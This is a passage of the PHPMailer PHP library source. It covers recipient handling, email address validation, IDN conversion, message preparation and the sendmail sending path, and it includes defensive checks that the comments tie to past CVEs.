''; /** * DKIM private key string. * * If set, takes precedence over `$DKIM_private`. * * @var string */ public $DKIM_private_string = ''; /** * Callback Action function name. * * The function that handles the result of the send email action. * It is called out by send() for each email sent. * * Value can be any php callable: https://www.php.net/is_callable * * Parameters: * bool $result result of the send action * array $to email addresses of the recipients * array $cc cc email addresses * array $bcc bcc email addresses * string $subject the subject * string $body the email body * string $from email address of sender * string $extra extra information of possible use * 'smtp_transaction_id' => last smtp transaction id * * @var callable|callable-string */ public $action_function = ''; /** * What to put in the X-Mailer header. * Options: An empty string for PHPMailer default, whitespace/null for none, or a string to use. * * @var string|null */ public $XMailer = ''; /** * Which validator to use by default when validating email addresses. * May be a callable to inject your own validator, but there are several built-in validators. * The default validator uses PHP's FILTER_VALIDATE_EMAIL filter_var option. * * If CharSet is UTF8, the validator is left at the default value, * and you send to addresses that use non-ASCII local parts, then * PHPMailer automatically changes to the 'eai' validator. * * @see PHPMailer::validateAddress() * * @var string|callable */ public static $validator = 'php'; /** * An instance of the SMTP sender class. * * @var SMTP */ protected $smtp; /** * The array of 'to' names and addresses. * * @var array */ protected $to = []; /** * The array of 'cc' names and addresses. * * @var array */ protected $cc = []; /** * The array of 'bcc' names and addresses. * * @var array */ protected $bcc = []; /** * The array of reply-to names and addresses. * * @var array */ protected $ReplyTo = []; /** * An array of all kinds of addresses. * Includes all of $to, $cc, $bcc. * * @see PHPMailer::$to * @see PHPMailer::$cc * @see PHPMailer::$bcc * * @var array */ protected $all_recipients = []; /** * An array of names and addresses queued for validation. * In send(), valid and non duplicate entries are moved to $all_recipients * and one of $to, $cc, or $bcc. * This array is used only for addresses with IDN. * * @see PHPMailer::$to * @see PHPMailer::$cc * @see PHPMailer::$bcc * @see PHPMailer::$all_recipients * * @var array */ protected $RecipientsQueue = []; /** * An array of reply-to names and addresses queued for validation. * In send(), valid and non duplicate entries are moved to $ReplyTo. * This array is used only for addresses with IDN. * * @see PHPMailer::$ReplyTo * * @var array */ protected $ReplyToQueue = []; /** * Whether the need for SMTPUTF8 has been detected. Set by * preSend() if necessary. * * @var bool */ public $UseSMTPUTF8 = false; /** * The array of attachments. * * @var array */ protected $attachment = []; /** * The array of custom headers. * * @var array */ protected $CustomHeader = []; /** * The most recent Message-ID (including angular brackets). * * @var string */ protected $lastMessageID = ''; /** * The message's MIME type. * * @var string */ protected $message_type = ''; /** * The array of MIME boundary strings. * * @var array */ protected $boundary = []; /** * The array of available text strings for the current language. * * @var array */ protected static $language = []; /** * The number of errors encountered. * * @var int */ protected $error_count = 0; /** * The S/MIME certificate file path. * * @var string */ protected $sign_cert_file = ''; /** * The S/MIME key file path. * * @var string */ protected $sign_key_file = ''; /** * The optional S/MIME extra certificates ("CA Chain") file path. * * @var string */ protected $sign_extracerts_file = ''; /** * The S/MIME password for the key. * Used only if the key is encrypted. * * @var string */ protected $sign_key_pass = ''; /** * Whether to throw exceptions for errors. * * @var bool */ protected $exceptions = false; /** * Unique ID used for message ID and boundaries. * * @var string */ protected $uniqueid = ''; /** * The PHPMailer Version number. * * @var string */ const VERSION = '7.0.0'; /** * Error severity: message only, continue processing. * * @var int */ const STOP_MESSAGE = 0; /** * Error severity: message, likely ok to continue processing. * * @var int */ const STOP_CONTINUE = 1; /** * Error severity: message, plus full stop, critical error reached. * * @var int */ const STOP_CRITICAL = 2; /** * The SMTP standard CRLF line break. * If you want to change line break format, change static::$LE, not this. */ const CRLF = "\r\n"; /** * "Folding White Space" a white space string used for line folding. */ const FWS = ' '; /** * SMTP RFC standard line ending; Carriage Return, Line Feed. * * @var string */ protected static $LE = self::CRLF; /** * The maximum line length supported by mail(). * * Background: mail() will sometimes corrupt messages * with headers longer than 65 chars, see #818. * * @var int */ const MAIL_MAX_LINE_LENGTH = 63; /** * The maximum line length allowed by RFC 2822 section 2.1.1. * * @var int */ const MAX_LINE_LENGTH = 998; /** * The lower maximum line length allowed by RFC 2822 section 2.1.1. * This length does NOT include the line break * 76 means that lines will be 77 or 78 chars depending on whether * the line break format is LF or CRLF; both are valid. * * @var int */ const STD_LINE_LENGTH = 76; /** * Constructor. * * @param bool $exceptions Should we throw external exceptions? */ public function __construct($exceptions = null) { if (null !== $exceptions) { $this->exceptions = (bool) $exceptions; } //Pick an appropriate debug output format automatically $this->Debugoutput = (strpos(PHP_SAPI, 'cli') !== false ? 'echo' : 'html'); } /** * Destructor. */ public function __destruct() { //Close any open SMTP connection nicely $this->smtpClose(); } /** * Call mail() in a safe_mode-aware fashion. * Also, unless sendmail_path points to sendmail (or something that * claims to be sendmail), don't pass params (not a perfect fix, * but it will do). * * @param string $to To * @param string $subject Subject * @param string $body Message Body * @param string $header Additional Header(s) * @param string|null $params Params * * @return bool */ private function mailPassthru($to, $subject, $body, $header, $params) { //Check overloading of mail function to avoid double-encoding if ((int)ini_get('mbstring.func_overload') & 1) { $subject = $this->secureHeader($subject); } else { $subject = $this->encodeHeader($this->secureHeader($subject)); } //Calling mail() with null params breaks $this->edebug('Sending with mail()'); $this->edebug('Sendmail path: ' . ini_get('sendmail_path')); $this->edebug("Envelope sender: {$this->Sender}"); $this->edebug("To: {$to}"); $this->edebug("Subject: {$subject}"); $this->edebug("Headers: {$header}"); if (!$this->UseSendmailOptions || null === $params) { $result = @mail($to, $subject, $body, $header); } else { $this->edebug("Additional params: {$params}"); $result = @mail($to, $subject, $body, $header, $params); } $this->edebug('Result: ' . ($result ? 'true' : 'false')); return $result; } /** * Output debugging info via a user-defined method. * Only generates output if debug output is enabled. * * @see PHPMailer::$Debugoutput * @see PHPMailer::$SMTPDebug * * @param string $str */ protected function edebug($str) { if ($this->SMTPDebug <= 0) { return; } //Is this a PSR-3 logger? if ($this->Debugoutput instanceof \Psr\Log\LoggerInterface) { $this->Debugoutput->debug(rtrim($str, "\r\n")); return; } //Avoid clash with built-in function names if (is_callable($this->Debugoutput) && !in_array($this->Debugoutput, ['error_log', 'html', 'echo'])) { call_user_func($this->Debugoutput, $str, $this->SMTPDebug); return; } switch ($this->Debugoutput) { case 'error_log': //Don't output, just log /** @noinspection ForgottenDebugOutputInspection */ error_log($str); break; case 'html': //Cleans up output a bit for a better looking, HTML-safe output echo htmlentities( preg_replace('/[\r\n]+/', '', $str), ENT_QUOTES, 'UTF-8' ), "<br>\n"; break; case 'echo': default: //Normalize line breaks $str = preg_replace('/\r\n|\r/m', "\n", $str); echo gmdate('Y-m-d H:i:s'), "\t", //Trim trailing space trim( //Indent for readability, except for trailing break str_replace( "\n", "\n \t ", trim($str) ) ), "\n"; } } /** * Sets message type to HTML or plain. * * @param bool $isHtml True for HTML mode */ public function isHTML($isHtml = true) { if ($isHtml) { $this->ContentType = static::CONTENT_TYPE_TEXT_HTML; } else { $this->ContentType = static::CONTENT_TYPE_PLAINTEXT; } } /** * Send messages using SMTP. */ public function isSMTP() { $this->Mailer = 'smtp'; } /** * Send messages using PHP's mail() function. */ public function isMail() { $this->Mailer = 'mail'; } /** * Send messages using $Sendmail. */ public function isSendmail() { $ini_sendmail_path = ini_get('sendmail_path'); if (false === stripos($ini_sendmail_path, 'sendmail')) { $this->Sendmail = '/usr/sbin/sendmail'; } else { $this->Sendmail = $ini_sendmail_path; } $this->Mailer = 'sendmail'; } /** * Send messages using qmail. */ public function isQmail() { $ini_sendmail_path = ini_get('sendmail_path'); if (false === stripos($ini_sendmail_path, 'qmail')) { $this->Sendmail = '/var/qmail/bin/qmail-inject'; } else { $this->Sendmail = $ini_sendmail_path; } $this->Mailer = 'qmail'; } /** * Add a "To" address. * * @param string $address The email address to send to * @param string $name * * @throws Exception * * @return bool true on success, false if address already used or invalid in some way */ public function addAddress($address, $name = '') { return $this->addOrEnqueueAnAddress('to', $address, $name); } /** * Add a "CC" address. * * @param string $address The email address to send to * @param string $name * * @throws Exception * * @return bool true on success, false if address already used or invalid in some way */ public function addCC($address, $name = '') { return $this->addOrEnqueueAnAddress('cc', $address, $name); } /** * Add a "BCC" address. * * @param string $address The email address to send to * @param string $name * * @throws Exception * * @return bool true on success, false if address already used or invalid in some way */ public function addBCC($address, $name = '') { return $this->addOrEnqueueAnAddress('bcc', $address, $name); } /** * Add a "Reply-To" address. * * @param string $address The email address to reply to * @param string $name * * @throws Exception * * @return bool true on success, false if address already used or invalid in some way */ public function addReplyTo($address, $name = '') { return $this->addOrEnqueueAnAddress('Reply-To', $address, $name); } /** * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer * can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still * be modified after calling this function), addition of such addresses is delayed until send(). * Addresses that have been added already return false, but do not throw exceptions. * * @param string $kind One of 'to', 'cc', 'bcc', or 'Reply-To' * @param string $address The email address * @param string $name An optional username associated with the address * * @throws Exception * * @return bool true on success, false if address already used or invalid in some way */ protected function addOrEnqueueAnAddress($kind, $address, $name) { $pos = false; if ($address !== null) { $address = trim($address); $pos = strrpos($address, '@'); } if (false === $pos) { //At-sign is missing. $error_message = sprintf( '%s (%s): %s', self::lang('invalid_address'), $kind, $address ); $this->setError($error_message); $this->edebug($error_message); if ($this->exceptions) { throw new Exception($error_message); } return false; } if ($name !== null && is_string($name)) { $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim } else { $name = ''; } $params = [$kind, $address, $name]; //Enqueue addresses with IDN until we know the PHPMailer::$CharSet. //Domain is assumed to be whatever is after the last @ symbol in the address if ($this->has8bitChars(substr($address, ++$pos))) { if (static::idnSupported()) { if ('Reply-To' !== $kind) { if (!array_key_exists($address, $this->RecipientsQueue)) { $this->RecipientsQueue[$address] = $params; return true; } } elseif (!array_key_exists($address, $this->ReplyToQueue)) { $this->ReplyToQueue[$address] = $params; return true; } } //We have an 8-bit domain, but we are missing the necessary extensions to support it //Or we are already sending to this address return false; } //Immediately add standard addresses without IDN. return call_user_func_array([$this, 'addAnAddress'], $params); } /** * Set the boundaries to use for delimiting MIME parts. * If you override this, ensure you set all 3 boundaries to unique values. * The default boundaries include a "=_" sequence which cannot occur in quoted-printable bodies, * as suggested by https://www.rfc-editor.org/rfc/rfc2045#section-6.7 * * @return void */ public function setBoundaries() { $this->uniqueid = $this->generateId(); $this->boundary[1] = 'b1=_' . $this->uniqueid; $this->boundary[2] = 'b2=_' . $this->uniqueid; $this->boundary[3] = 'b3=_' . $this->uniqueid; } /** * Add an address to one of the recipient arrays or to the ReplyTo array. * Addresses that have been added already return false, but do not throw exceptions. * * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo' * @param string $address The email address to send, resp. to reply to * @param string $name * * @throws Exception * * @return bool true on success, false if address already used or invalid in some way */ protected function addAnAddress($kind, $address, $name = '') { if ( self::$validator === 'php' && ((bool) preg_match('/[\x80-\xFF]/', $address)) ) { //The caller has not altered the validator and is sending to an address //with UTF-8, so assume that they want UTF-8 support instead of failing $this->CharSet = self::CHARSET_UTF8; self::$validator = 'eai'; } if (!in_array($kind, ['to', 'cc', 'bcc', 'Reply-To'])) { $error_message = sprintf( '%s: %s', self::lang('Invalid recipient kind'), $kind ); $this->setError($error_message); $this->edebug($error_message); if ($this->exceptions) { throw new Exception($error_message); } return false; } if (!static::validateAddress($address)) { $error_message = sprintf( '%s (%s): %s', self::lang('invalid_address'), $kind, $address ); $this->setError($error_message); $this->edebug($error_message); if ($this->exceptions) { throw new Exception($error_message); } return false; } if ('Reply-To' !== $kind) { if (!array_key_exists(strtolower($address), $this->all_recipients)) { $this->{$kind}[] = [$address, $name]; $this->all_recipients[strtolower($address)] = true; return true; } } else { foreach ($this->ReplyTo as $replyTo) { if (0 === strcasecmp($replyTo[0], $address)) { return false; } } $this->ReplyTo[] = [$address, $name]; return true; } return false; } /** * Parse and validate a string containing one or more RFC822-style comma-separated email addresses * of the form "display name <address>" into an array of name/address pairs. * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available. * Note that quotes in the name part are removed. * * @see https://www.andrew.cmu.edu/user/agreen1/testing/mrbs/web/Mail/RFC822.php A more careful implementation * * @param string $addrstr The address list string * @param null $useimap Deprecated argument since 6.11.0. * @param string $charset The charset to use when decoding the address list string. * * @return array */ public static function parseAddresses($addrstr, $useimap = null, $charset = self::CHARSET_ISO88591) { if ($useimap !== null) { trigger_error(self::lang('deprecated_argument'), E_USER_DEPRECATED); } $addresses = []; if (function_exists('imap_rfc822_parse_adrlist')) { //Use this built-in parser if it's available $list = imap_rfc822_parse_adrlist($addrstr, ''); // Clear any potential IMAP errors to get rid of notices being thrown at end of script. imap_errors(); foreach ($list as $address) { if ( '.SYNTAX-ERROR.' !== $address->host && static::validateAddress($address->mailbox . '@' . $address->host) ) { //Decode the name part if it's present and maybe encoded if ( property_exists($address, 'personal') && is_string($address->personal) && $address->personal !== '' ) { $address->personal = static::decodeHeader($address->personal, $charset); } $addresses[] = [ 'name' => (property_exists($address, 'personal') ? $address->personal : ''), 'address' => $address->mailbox . '@' . $address->host, ]; } } } else { //Use this simpler parser $addresses = static::parseSimplerAddresses($addrstr, $charset); } return $addresses; } /** * Parse a string containing one or more RFC822-style comma-separated email addresses * with the form "display name <address>" into an array of name/address pairs. * Uses a simpler parser that does not require the IMAP extension but doesnt support * the full RFC822 spec. For full RFC822 support, use the PHP IMAP extension. * * @param string $addrstr The address list string * @param string $charset The charset to use when decoding the address list string. * * @return array */ protected static function parseSimplerAddresses($addrstr, $charset) { // Emit a runtime notice to recommend using the IMAP extension for full RFC822 parsing trigger_error(self::lang('imap_recommended'), E_USER_NOTICE); $addresses = []; $list = explode(',', $addrstr); foreach ($list as $address) { $address = trim($address); //Is there a separate name part? if (strpos($address, '<') === false) { //No separate name, just use the whole thing if (static::validateAddress($address)) { $addresses[] = [ 'name' => '', 'address' => $address, ]; } } else { $parsed = static::parseEmailString($address); $email = $parsed['email']; if (static::validateAddress($email)) { $name = static::decodeHeader($parsed['name'], $charset); $addresses[] = [ //Remove any surrounding quotes and spaces from the name 'name' => trim($name, '\'" '), 'address' => $email, ]; } } } return $addresses; } /** * Parse a string containing an email address with an optional name * and divide it into a name and email address. * * @param string $input The email with name. * * @return array{name: string, email: string} */ private static function parseEmailString($input) { $input = trim((string)$input); if ($input === '') { return ['name' => '', 'email' => '']; } $pattern = '/^\s*(?:(?:"([^"]*)"|\'([^\']*)\'|([^<]*?))\s*)?<\s*([^>]+)\s*>\s*$/'; if (preg_match($pattern, $input, $matches)) { $name = ''; // Double quotes including special scenarios. if (isset($matches[1]) && $matches[1] !== '') { $name = $matches[1]; // Single quotes including special scenarios. } elseif (isset($matches[2]) && $matches[2] !== '') { $name = $matches[2]; // Simplest scenario, name and email are in the format "Name <email>". } elseif (isset($matches[3])) { $name = trim($matches[3]); } return ['name' => $name, 'email' => trim($matches[4])]; } return ['name' => '', 'email' => $input]; } /** * Set the From and FromName properties. * * @param string $address * @param string $name * @param bool $auto Whether to also set the Sender address, defaults to true * * @throws Exception * * @return bool */ public function setFrom($address, $name = '', $auto = true) { if (is_null($name)) { //Helps avoid a deprecation warning in the preg_replace() below $name = ''; } $address = trim((string)$address); $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim //Don't validate now addresses with IDN. Will be done in send(). $pos = strrpos($address, '@'); if ( (false === $pos) || ((!$this->has8bitChars(substr($address, ++$pos)) || !static::idnSupported()) && !static::validateAddress($address)) ) { $error_message = sprintf( '%s (From): %s', self::lang('invalid_address'), $address ); $this->setError($error_message); $this->edebug($error_message); if ($this->exceptions) { throw new Exception($error_message); } return false; } $this->From = $address; $this->FromName = $name; if ($auto && empty($this->Sender)) { $this->Sender = $address; } return true; } /** * Return the Message-ID header of the last email. * Technically this is the value from the last time the headers were created, * but it's also the message ID of the last sent message except in * pathological cases. * * @return string */ public function getLastMessageID() { return $this->lastMessageID; } /** * Check that a string looks like an email address. * Validation patterns supported: * * `auto` Pick best pattern automatically; * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0; * * `pcre` Use old PCRE implementation; * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL; * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements. * * `eai` Use a pattern similar to the HTML5 spec for 'email' and to firefox, extended to support EAI (RFC6530). * * `noregex` Don't use a regex: super fast, really dumb. * Alternatively you may pass in a callable to inject your own validator, for example: * * ```php * PHPMailer::validateAddress('user@example.com', function($address) { * return (strpos($address, '@') !== false); * }); * ``` * * You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator. * * @param string $address The email address to check * @param string|callable $patternselect Which pattern to use * * @return bool */ public static function validateAddress($address, $patternselect = null) { if (null === $patternselect) { $patternselect = static::$validator; } //Don't allow strings as callables, see SECURITY.md and CVE-2021-3603 if (is_callable($patternselect) && !is_string($patternselect)) { return call_user_func($patternselect, $address); } //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321 if (strpos($address, "\n") !== false || strpos($address, "\r") !== false) { return false; } switch ($patternselect) { case 'pcre': //Kept for BC case 'pcre8': /* * A more complex and more permissive version of the RFC5322 regex on which FILTER_VALIDATE_EMAIL * is based. * In addition to the addresses allowed by filter_var, also permits: * * dotless domains: `a@b` * * comments: `1234 @ local(blah) .machine .example` * * quoted elements: `'"test blah"@example.org'` * * numeric TLDs: `a@b.123` * * unbracketed IPv4 literals: `a@192.168.0.1` * * IPv6 literals: 'first.last@[IPv6:a1::]' * Not all of these will necessarily work for sending! * * @copyright 2009-2010 Michael Rushton * Feel free to use and redistribute this code. But please keep this copyright notice. */ return (bool) preg_match( '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' . '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' . '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' . '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' . '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' . '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' . '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' . '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' . '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD', $address ); case 'html5': /* * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements. * * @see https://html.spec.whatwg.org/#e-mail-state-(type=email) */ return (bool) preg_match( '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' . '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD', $address ); case 'eai': /* * This is the pattern used in the HTML5 spec for validation of 'email' type * form input elements (as above), modified to accept Unicode email addresses. * This is also more lenient than Firefox' html5 spec, in order to make the regex faster. * 'eai' is an acronym for Email Address Internationalization. * This validator is selected automatically if you attempt to use recipient addresses * that contain Unicode characters in the local part. * * @see https://html.spec.whatwg.org/#e-mail-state-(type=email) * @see https://en.wikipedia.org/wiki/International_email */ return (bool) preg_match( '/^[-\p{L}\p{N}\p{M}.!#$%&\'*+\/=?^_`{|}~]+@[\p{L}\p{N}\p{M}](?:[\p{L}\p{N}\p{M}-]{0,61}' . '[\p{L}\p{N}\p{M}])?(?:\.[\p{L}\p{N}\p{M}]' . '(?:[-\p{L}\p{N}\p{M}]{0,61}[\p{L}\p{N}\p{M}])?)*$/usD', $address ); case 'php': default: return filter_var($address, FILTER_VALIDATE_EMAIL) !== false; } } /** * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the * `intl` and `mbstring` PHP extensions. * * @return bool `true` if required functions for IDN support are present */ public static function idnSupported() { return function_exists('idn_to_ascii') && function_exists('mb_convert_encoding'); } /** * Converts IDN in given email address to its ASCII form, also known as punycode, if possible. * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet. * This function silently returns unmodified address if: * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form) * - Conversion to punycode is impossible (e.g. required PHP functions are not available) * or fails for any reason (e.g. domain contains characters not allowed in an IDN). * * @see PHPMailer::$CharSet * * @param string $address The email address to convert * * @return string The encoded address in ASCII form */ public function punyencodeAddress($address) { //Verify we have required functions, CharSet, and at-sign. $pos = strrpos($address, '@'); if ( !empty($this->CharSet) && false !== $pos && static::idnSupported() ) { $domain = substr($address, ++$pos); //Verify CharSet string is a valid one, and domain properly encoded in this CharSet. if ($this->has8bitChars($domain) && @mb_check_encoding($domain, $this->CharSet)) { //Convert the domain from whatever charset it's in to UTF-8 $domain = mb_convert_encoding($domain, self::CHARSET_UTF8, $this->CharSet); //Ignore IDE complaints about this line - method signature changed in PHP 5.4 $errorcode = 0; if (defined('INTL_IDNA_VARIANT_UTS46')) { //Use the current punycode standard (appeared in PHP 7.2) $punycode = idn_to_ascii( $domain, \IDNA_DEFAULT | \IDNA_USE_STD3_RULES | \IDNA_CHECK_BIDI | \IDNA_CHECK_CONTEXTJ | \IDNA_NONTRANSITIONAL_TO_ASCII, \INTL_IDNA_VARIANT_UTS46 ); } elseif (defined('INTL_IDNA_VARIANT_2003')) { //Fall back to this old, deprecated/removed encoding $punycode = idn_to_ascii($domain, $errorcode, \INTL_IDNA_VARIANT_2003); } else { //Fall back to a default we don't know about $punycode = idn_to_ascii($domain, $errorcode); } if (false !== $punycode) { return substr($address, 0, $pos) . $punycode; } } } return $address; } /** * Create a message and send it. * Uses the sending method specified by $Mailer. * * @throws Exception * * @return bool false on error - See the ErrorInfo property for details of the error */ public function send() { try { if (!$this->preSend()) { return false; } return $this->postSend(); } catch (Exception $exc) { $this->mailHeader = ''; $this->setError($exc->getMessage()); if ($this->exceptions) { throw $exc; } return false; } } /** * Prepare a message for sending. * * @throws Exception * * @return bool */ public function preSend() { if ( 'smtp' === $this->Mailer || ('mail' === $this->Mailer && (\PHP_VERSION_ID >= 80000 || stripos(PHP_OS, 'WIN') === 0)) ) { //SMTP mandates RFC-compliant line endings //and it's also used with mail() on Windows static::setLE(self::CRLF); } else { //Maintain backward compatibility with legacy Linux command line mailers static::setLE(PHP_EOL); } //Check for buggy PHP versions that add a header with an incorrect line break if ( 'mail' === $this->Mailer && ((\PHP_VERSION_ID >= 70000 && \PHP_VERSION_ID < 70017) || (\PHP_VERSION_ID >= 70100 && \PHP_VERSION_ID < 70103)) && ini_get('mail.add_x_header') === '1' && stripos(PHP_OS, 'WIN') === 0 ) { trigger_error(self::lang('buggy_php'), E_USER_WARNING); } try { $this->error_count = 0; //Reset errors $this->mailHeader = ''; //The code below tries to support full use of Unicode, //while remaining compatible with legacy SMTP servers to //the greatest degree possible: If the message uses //Unicode in the local parts of any addresses, it is sent //using SMTPUTF8. If not, it it sent using //punycode-encoded domains and plain SMTP. if ( static::CHARSET_UTF8 === strtolower($this->CharSet) && ($this->anyAddressHasUnicodeLocalPart($this->RecipientsQueue) || $this->anyAddressHasUnicodeLocalPart(array_keys($this->all_recipients)) || $this->anyAddressHasUnicodeLocalPart($this->ReplyToQueue) || $this->addressHasUnicodeLocalPart($this->From)) ) { $this->UseSMTPUTF8 = true; } //Dequeue recipient and Reply-To addresses with IDN foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) { if (!$this->UseSMTPUTF8) { $params[1] = $this->punyencodeAddress($params[1]); } call_user_func_array([$this, 'addAnAddress'], $params); } if (count($this->to) + count($this->cc) + count($this->bcc) < 1) { throw new Exception(self::lang('provide_address'), self::STOP_CRITICAL); } //Validate From, Sender, and ConfirmReadingTo addresses foreach (['From', 'Sender', 'ConfirmReadingTo'] as $address_kind) { if ($this->{$address_kind} === null) { $this->{$address_kind} = ''; continue; } $this->{$address_kind} = trim($this->{$address_kind}); if (empty($this->{$address_kind})) { continue; } $this->{$address_kind} = $this->punyencodeAddress($this->{$address_kind}); if (!static::validateAddress($this->{$address_kind})) { $error_message = sprintf( '%s (%s): %s', self::lang('invalid_address'), $address_kind, $this->{$address_kind} ); $this->setError($error_message); $this->edebug($error_message); if ($this->exceptions) { throw new Exception($error_message); } return false; } } //Set whether the message is multipart/alternative if ($this->alternativeExists()) { $this->ContentType = static::CONTENT_TYPE_MULTIPART_ALTERNATIVE; } $this->setMessageType(); //Refuse to send an empty message unless we are specifically allowing it if (!$this->AllowEmpty && empty($this->Body)) { throw new Exception(self::lang('empty_message'), self::STOP_CRITICAL); } //Trim subject consistently $this->Subject = trim($this->Subject); //Create body before headers in case body makes changes to headers (e.g. altering transfer encoding) $this->MIMEHeader = ''; $this->MIMEBody = $this->createBody(); //createBody may have added some headers, so retain them $tempheaders = $this->MIMEHeader; $this->MIMEHeader = $this->createHeader(); $this->MIMEHeader .= $tempheaders; //To capture the complete message when using mail(), create //an extra header list which createHeader() doesn't fold in if ('mail' === $this->Mailer) { if (count($this->to) > 0) { $this->mailHeader .= $this->addrAppend('To', $this->to); } else { $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;'); } $this->mailHeader .= $this->headerLine( 'Subject', $this->encodeHeader($this->secureHeader($this->Subject)) ); } //Sign with DKIM if enabled if ( !empty($this->DKIM_domain) && !empty($this->DKIM_selector) && (!empty($this->DKIM_private_string) || (!empty($this->DKIM_private) && static::isPermittedPath($this->DKIM_private) && file_exists($this->DKIM_private) ) ) ) { $header_dkim = $this->DKIM_Add( $this->MIMEHeader . $this->mailHeader, $this->encodeHeader($this->secureHeader($this->Subject)), $this->MIMEBody ); $this->MIMEHeader = static::stripTrailingWSP($this->MIMEHeader) . static::$LE . static::normalizeBreaks($header_dkim) . static::$LE; } return true; } catch (Exception $exc) { $this->setError($exc->getMessage()); if ($this->exceptions) { throw $exc; } return false; } } /** * Actually send a message via the selected mechanism. * * @throws Exception * * @return bool */ public function postSend() { try { //Choose the mailer and send through it switch ($this->Mailer) { case 'sendmail': case 'qmail': return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody); case 'smtp': return $this->smtpSend($this->MIMEHeader, $this->MIMEBody); case 'mail': return $this->mailSend($this->MIMEHeader, $this->MIMEBody); default: $sendMethod = $this->Mailer . 'Send'; if (method_exists($this, $sendMethod)) { return $this->{$sendMethod}($this->MIMEHeader, $this->MIMEBody); } return $this->mailSend($this->MIMEHeader, $this->MIMEBody); } } catch (Exception $exc) { $this->setError($exc->getMessage()); $this->edebug($exc->getMessage()); if ($this->Mailer === 'smtp' && $this->SMTPKeepAlive == true && $this->smtp->connected()) { $this->smtp->reset(); } if ($this->exceptions) { throw $exc; } } return false; } /** * Send mail using the $Sendmail program. * * @see PHPMailer::$Sendmail * * @param string $header The message headers * @param string $body The message body * * @throws Exception * * @return bool */ protected function sendmailSend($header, $body) { if ($this->Mailer === 'qmail') { $this->edebug('Sending with qmail'); } else { $this->edebug('Sending with sendmail'); } $header = static::stripTrailingWSP($header) . static::$LE . static::$LE; //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver //A space after `-f` is optional, but there is a long history of its presence //causing problems, so we don't use one //Exim docs: https://www.exim.org/exim-html-current/doc/html/spec_html/ch-the_exim_command_line.html //Sendmail docs: https://www.sendmail.org/~ca/email/man/sendmail.html //Example problem: https://www.drupal.org/node/1057954 //PHP 5.6 workaround $sendmail_from_value = ini_get('sendmail_from'); if (empty($this->Sender) && !empty($sendmail_from_value)) { //PHP config has a sender address we can use $this->Sender = ini_get('sendmail_from'); } //CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped. if (!empty($this->Sender) && static::validateAddress($this->Sender) && self::isShellSafe($this->Sender)) { if ($this->Mailer === 'qmail') { $sendmailFmt = '%s -f%s'; } else { $sendmailFmt = '%s -oi -f%s -t'; } } elseif ($this->Mailer === 'qmail') { $sendmailFmt = '%s'; } else { //Allow sendmail to choose a default envelope sender. It may //seem preferable to force it to use the From header as with //SMTP, but that introduces new problems (see //<https://github.com/PHPMailer/PHPMailer/issues/2298>), and //it has historically worked this way. $sendmailFmt = '%s -oi -t'; } $sendmail = sprintf($sendmailFmt, escapeshellcmd($this->Sendmail), $this->Sender); $this->edebug('Sendmail path: ' . $this->Sendmail); $this->edebug('Sendmail command: ' . $sendmail); $this->edebug('Envelope sender: ' . $this->Sender); $this->edebug("Headers: {$header}"); if ($this->SingleTo) { foreach ($this->SingleToArray as $toAddr) { $mail = @popen($sendmail, 'w'); if (!$mail) { throw new Exception(self::lang('execute') . $this->Sendmail, self::STOP_CRITICAL); } $this->edebug("To: {$toAddr}"); fwrite($mail, 'To: ' . $toAddr . "\n"); fwrite($mail, $header); fwrite($mail, $body); $result = pclose($mail); $addrinfo = static::parseAddresses($toAddr, null, $this->CharSet); foreach ($addrinfo as $addr) { $this->doCallback( ($result === 0), [[$addr['address'], $addr['name']]], $this->cc, $this->bcc, $this->Subject, $body, $this->From, [] ); } $this->edebug("Result: " . ($result === 0 ? 'true' : 'false')); if (0 !== $result) { throw new Exception(self::lang('execute') . $this->Sendmail, self::STOP_CRITICAL); } } } else { $mail = @popen($sendmail, 'w'); if (!$mail) { throw new Exception(self::lang('execute') . $this->Sendmail, self::STOP_CRITICAL); } fwrite($mail, $header); fwrite($mail, $body); $result = 